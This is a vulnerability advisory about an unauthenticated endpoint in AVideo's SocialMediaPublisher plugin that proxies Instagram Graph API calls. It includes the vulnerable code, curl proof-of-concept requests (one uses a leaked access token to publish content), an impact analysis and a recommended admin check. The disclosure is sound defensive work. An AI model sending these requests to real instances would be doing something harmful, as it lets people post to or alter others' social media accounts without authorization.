Description

AVideo: Unauthenticated Instagram Graph API Proxy via publishInstagram.json.php

Summary

The SocialMediaPublisher plugin exposes a publishInstagram.json.php endpoint that acts as an unauthenticated proxy to the Facebook/Instagram Graph API. The endpoint accepts user-controlled parameters including an access token, container ID, and Instagram account ID, and passes them directly to the Graph API via InstagramUploader::publishMediaIfIsReady(). This allows any unauthenticated user to make arbitrary Graph API calls through the server, potentially using stolen tokens or abusing the platform's own credentials.

Details

At plugin/SocialMediaPublisher/publishInstagram.json.php:14, the endpoint passes request parameters directly to the Instagram Graph API without any authentication check:

InstagramUploader::publishMediaIfIsReady(
    $_REQUEST['accessToken'],
    $_REQUEST['containerId'],
    $_REQUEST['instagramAccountId']
);

There is no call to User::isLogged(), User::isAdmin(), or any other authorization check before processing the request.

In contrast, sibling endpoints in the same plugin enforce proper authorization:

uploadVideo.json.php requires User::isLogged()

refresh.json.php requires User::isAdmin()

The endpoint was confirmed accessible on a live instance: it returns a Graph API error response, demonstrating that it processes the request and forwards it to Facebook's servers.

Proof of Concept

Send a request to the endpoint without any authentication:

curl -s "https://your-avideo-instance.com/plugin/SocialMediaPublisher/publishInstagram.json.php" \
  -d "accessToken=TEST_TOKEN&containerId=TEST_CONTAINER&instagramAccountId=TEST_ACCOUNT"

The server forwards the request to the Facebook Graph API. With invalid parameters, it returns a Graph API error confirming the endpoint is functional:

{
  "error": {
    "message": "Invalid OAuth access token.",
    "type": "OAuthException",
    "code": 190
  }
}

With a valid access token (e.g., one leaked from AVI-027), an attacker could publish content to the platform's Instagram account:

curl -s "https://your-avideo-instance.com/plugin/SocialMediaPublisher/publishInstagram.json.php" \
  -d "accessToken=LEAKED_ACCESS_TOKEN&containerId=REAL_CONTAINER_ID&instagramAccountId=REAL_ACCOUNT_ID"

Verify that sibling endpoints require authentication:

# Should require login
curl -s "https://your-avideo-instance.com/plugin/SocialMediaPublisher/uploadVideo.json.php"

# Should require admin
curl -s "https://your-avideo-instance.com/plugin/SocialMediaPublisher/refresh.json.php"

Impact

The unauthenticated endpoint allows any attacker to use the AVideo server as a proxy for Instagram/Facebook Graph API calls. When combined with credentials leaked from AVI-027 (unauthenticated access to social media API credentials), an attacker can publish, modify, or delete content on the platform's Instagram account without any authentication to the AVideo instance. The server's IP address is used for the API calls, which could also be used to bypass rate limits or IP-based restrictions on the Graph API.

CWE-862: Missing Authorization

Severity: Medium

Recommended Fix

Add an admin authorization check at the top of plugin/SocialMediaPublisher/publishInstagram.json.php:10, consistent with the sibling refresh.json.php endpoint:

// plugin/SocialMediaPublisher/publishInstagram.json.php:10
if(!User::isAdmin()){
    die(json_encode(['error'=>'Not authorized']));
}

This restricts the endpoint to admin users only, matching the authorization level of refresh.json.php and preventing unauthenticated proxy abuse.

Found by aisafe.io

Mitigation

Aliases

References